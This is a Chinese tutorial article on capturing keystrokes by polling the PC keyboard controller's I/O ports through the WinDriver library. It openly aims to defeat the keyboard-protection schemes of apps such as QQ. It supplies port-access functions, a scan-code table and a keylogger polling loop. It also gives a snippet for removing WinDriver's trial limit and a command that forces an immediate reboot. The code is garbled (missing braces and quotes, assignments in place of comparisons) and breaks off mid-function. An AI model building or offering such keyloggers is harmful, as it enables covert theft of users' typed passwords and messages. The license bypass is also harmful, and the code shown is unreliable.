直接访问键盘控制芯片获取键盘记录.doc

直接访问键盘控制芯片获取键盘记录 键盘是用户和机器之间主要的硬件接口，看看键盘上的那些键就可知道它有多么的复杂了。键盘是我们隐私的源泉，我们各种信息的传递都要通过它。作为用户表现 信息的媒介，很多怀有恶意目的的人都想截取我们的键盘输入。目前有很多方法可以做到，比如全局钩子、GetKeyboardStatus()、驱动过滤钩 子等，但是如果要截取像QQ这种Hook键盘中断处理程序的保护技术，这些方法都显得无能为力。为此，我将为大家介绍一种直接访问键盘控制芯片的方法，来 实现对键盘输入数据的最底层的读取。 如果我们知道了硬件的输入输出地址，就可以直接对它们进行访问了。键盘上有一个称为键盘编码器的处理器（Intel 8048或兼容芯片）专门用来扫描收集所有按键按下和松开的状态数据（即扫描码）。当一个键被按下时，键盘发送的扫描码称为接通扫描码（Make code），或简称为接通码；当一个被按下的键放开时发送的扫描码被称为断开扫描码（Break code），或简称为断开码。 主机键盘控制器专门用来对接收到的键盘扫描码进行解码。因为每个按键的接通和断开码都是不同的，所以键盘控制器根据扫描码就可以确定用户在操作哪个键了。 整个键盘上所有按键的接通和断开码就组成了键盘的一个扫描码集（Scan Code Set）。根据电脑的发展，目前已有三套扫描码集可供使用，它们分别是第一套扫描码集，原始XT键盘扫描码集，目前的键盘已经很少发送这类扫描码；第二套 扫描码集，现代键盘预设使用的扫描码集，通常称为AT键盘扫描码集；第三套扫描码集，PS/2键盘扫描码集，原IBM推出PS/2微处理机时使用的扫描码 集，已很少使用。 AT键盘预设发送的是第二套扫描码集。虽然如此，主机键盘控制器为了与PC/XT机的软体兼容起见，仍然会把所有接收到的第二套键盘扫描码转换成第一套扫 描码，因此，我们从键盘控制器获取的通常为第一套扫描码集。 当一个键被按下时，我们可以从键盘控制器接收到一个XT键盘接通码。这个扫描码仅表示键盘上某个位置处的键被按下，但还没有对应到某个字符代码上，接通码 通常都是一个位组宽度。例如，按下键“A”的接通码是30(0x1E)。当一个按下的键被松开时，从键盘控制器端口收到的就是一个断开码。对于XT键盘 （即键盘控制器程序设计端口收到的扫描码），断开码是其接通码加上0x80。例如，上述“A” 键的断开码就是“0x80 + 0x1E = 0x9E”。 表1列出了Scan Code Set 1中的所有扫描码，我们写程序时需要用到！ 表1 剩下的问题就是我们如何获取键盘的扫描码，并且将它们翻译出来了。比如我们如何获取扫描码1E，并且能将它翻译为A键被按下。键盘控制芯片给我们使用的 PC机提供了两个可访问的I/O端口，一个是0x60，一个是0x64，我们能够读取键盘缓冲区中的数据，也能发送控制命令。打开设备管理器，如图1所 示，我们可以清晰地看到它们。0x60为数据端口，0x64 为命令端口。 图1 通常情况下，我们从0x60读取的数据就是键盘的扫描码，而从0x64读取的数据为键盘的状态字。状态字的各位含义如下： Bit7: 从键盘获得的数据奇偶校验错误； Bit6: 接收超时，置1； Bit5: 发送超时，置1； Bit4: 为1，键盘没有被禁止。为0，键盘被禁止； Bit3: 为1，输入缓冲器中的内容为命令，为0，输入缓冲器中的内容为数据； Bit2: 系统标志，加电启动置0，自检通过后置1； Bit1: 输入缓冲器满置1，i8042 取走后置0； Bit0: 输出缓冲器满置1，CPU读取后置0。 接下来我们再说一下端口的操作方法。Windows NT系统是不允许直接操作端口的，只有通过驱动程序才能实现，可供选择的驱动程序有免费开源的winio、windriver等。由于我的毕业设计涉及到 视频采集卡驱动程序的设计，所以就以windirver为例来说明端口操作方法了。安装好windriver之后，在“samples basic_io”目录下有一个basic_io.c，我们可以直接使用它提供的端口操作函数读写端口。注意修改IO_init()函数添加如下语 句： (责任编辑：admin)WD_LICENSE lic; strcpy(lic.cLicense,你的licenseString); WD_License(hWD, &lic); 这样，我们使用的windrier驱动就去掉了30天试用期限的限制了。它可以提供的函数如下，有了这些函数，我们就可以直接读写端口了。 BYTE IO_inp(DWORD dwIOAddr) /从dwIOAddr读取一个字节 WORD IO_inpw(DWORD dwIOAddr) /从dwIOAddr读取两个字节 DWORD IO_inpd(DWORD dwIOAddr) /从dwIOAddr读取四个字节 void IO_outp(DWORD dwIOAddr, BYTE bData) /将一个字节的bData写入dwIOAddr void IO_outpw(DWORD dwIOAddr, WORD wData) /将两个字节的bData写入dwIOAddr void IO_outpd(DWORD dwIOAddr, DWORD dwData) /将四个字节的bData写入dwIOAddr 为了方便大家测试，我给大家提供一个有趣的例子。通过读写I/O端口控制键盘上的Num Lock、Caps Lock、Scroll Lock这三个LED指示灯，向0x60端口发送控制命令就可以控制它们的亮灭了。控制LED的命令是0xED，我们可以在LED没亮之前（实验之前请先 使LED指示灯关掉）发送0xED命令到0x60端口，然后立即发送另一个BYTE指示设置哪个LED，第2个BYTE用最低的3个字节设置这三个指示 灯。问题是这种直接的方法没有考虑键盘控制器是否准备好接收命令。通常情况下，我们必须等待芯片准备接收命令时再发送命令控制字。如果芯片没有准备好，将 不会产生任何效果。另外，即使我们读取0x64端口的状态字，确定键盘处于准备接收命令状态，但是我们也不能保证随后发送控制命令的操作不会受到键盘本身 驱动程序读写端口引起的干扰。因此，我们可以采用如下的测试程序。 void light() BYTE status; while(1) status=IO_inp( 0x00000064); printf(%x,status); IO_outp( 0x00000060,0xed); IO_outp( 0x00000060,0x07); Sleep(100); 这样，键盘正确接收到我们控制命令的概率就比较大了。程序运行几十秒，就会发现键盘上的三个指示灯突然全部亮了起来。 罗嗦了这么多，大家对端口的操作应该有了基本了解了，下面我们开始分析计算机是如何处理我们的按键操作的。当我们按下或者释放某一按键时，键盘控制器将会 在IRQ1号线上送出中断信号，8259A中断控制器将此中断信号与其它外部设备通过其余的IRQ线送来的中断信号进行判优、排队，最后将此信息送给 CPU。CPU在一条指令运行结束后，会查询一下是否有中断信号送来，如果此时发现有中断信号送来，就会通过此中断信号的中断向量在中断描述符表中查询应 当使用哪一个中断处理程序。当找到中断处理程序后，CPU将调用此中断处理程序进行中断处理。注意在键盘中断处理程序之前，键盘扫描码已经被放到输出缓冲 区中（0x60），中断处理程序所要作的就是从输入缓冲区拿走数据并且翻译数据。所以我们可以直接读取输出缓冲区，即0x60端口直接获取键盘数据的扫描 码，并且不会干扰中断处理程序的正常工作。注意，我们在轮询扫描码时最好不要读取0x64端口，尽管从该端口可以读取键盘输入输出缓冲区的状态信息（满或 空），但是从0x64读取状态字会引起0x60端口上数据的清除，可能会导致键盘驱动无法读取输入数据。 尽管键盘控制器提供了很多操作命令，但我们最好不要往0x60或0x64端口直接写入数据，否则可能产生意想不到的结果，比如IO_outp( 0x00000064,0xfe)操作将会引起操作系统的立即重启（警告，实验前请先做好保存工作，造成文件未保存数据丢失可别说我没提醒哦！），效果如 同手动按了机箱上的Reset键，这是由于键盘控制器可以直接控制CPU Reset管脚电平。 有了以上知识，我们就可以着手写一个直接读取键盘控制寄存器的键盘记录程序了。因为我们要将扫描码翻译出来，所以我使用make code作为数组下标索引打印键的名称。 char keycode555=,ESC,1,2,3,4,5,6,7,8,9,0,-,=,BSP,TAB,Q,W,E,R,T,Y,U,I,O,P,ENT,LCT,A,S,D,F,G,H,J,K,L,;,LSH,Z,X,C,V,B,N,M,.,/,RSH,*,LAL,SPA,CAP,F1,F2,F3,F4,F5,F6,F7,F8,F9,F10,NUM,SCO,7,8,9,-,4,5,6,+,1,2,3,0,.; 这里我只定义了前53个扫描码的键名称，对于一般的只记录字母、符号的键盘记录，这些信息已经足够了。以下为从0x60轮询扫描码的程序代码。 void Log() BYTE retData; BYTE keyDown;/键按下数据 BYTE keyUp;/键弹起数据 BYTE bCanLog1=1; BYTE bCanLog2=1; while(1) retData=IO_inp( (DWORD)0x00000060); if(retData=0x00|retData=0xff|retData=0xaa|retData=0xee|retData=0xf0|retData=0xfa|retData=0xfe|retData=0xfc) Sleep(50); continue; /非扫描码数据的过滤，可以根据情况添加自己不需要的按键信息 (责任编辑：admin) /键按下产生make code，键放开产生break code，make code最高位为0。keycode使用make code作为索引打印按键 if(!(retData&0x80) /有键被按下 keyDown=retData; /有键放开！retData第7位为1！我们使用make code记录键值，make code第7位为0！ if(retData&0x80) keyUp=retData&0x7f; if(keyUp=keyDown) printf(%s ,keycodekeyDown); keyUp=0; keyDown=1; Sleep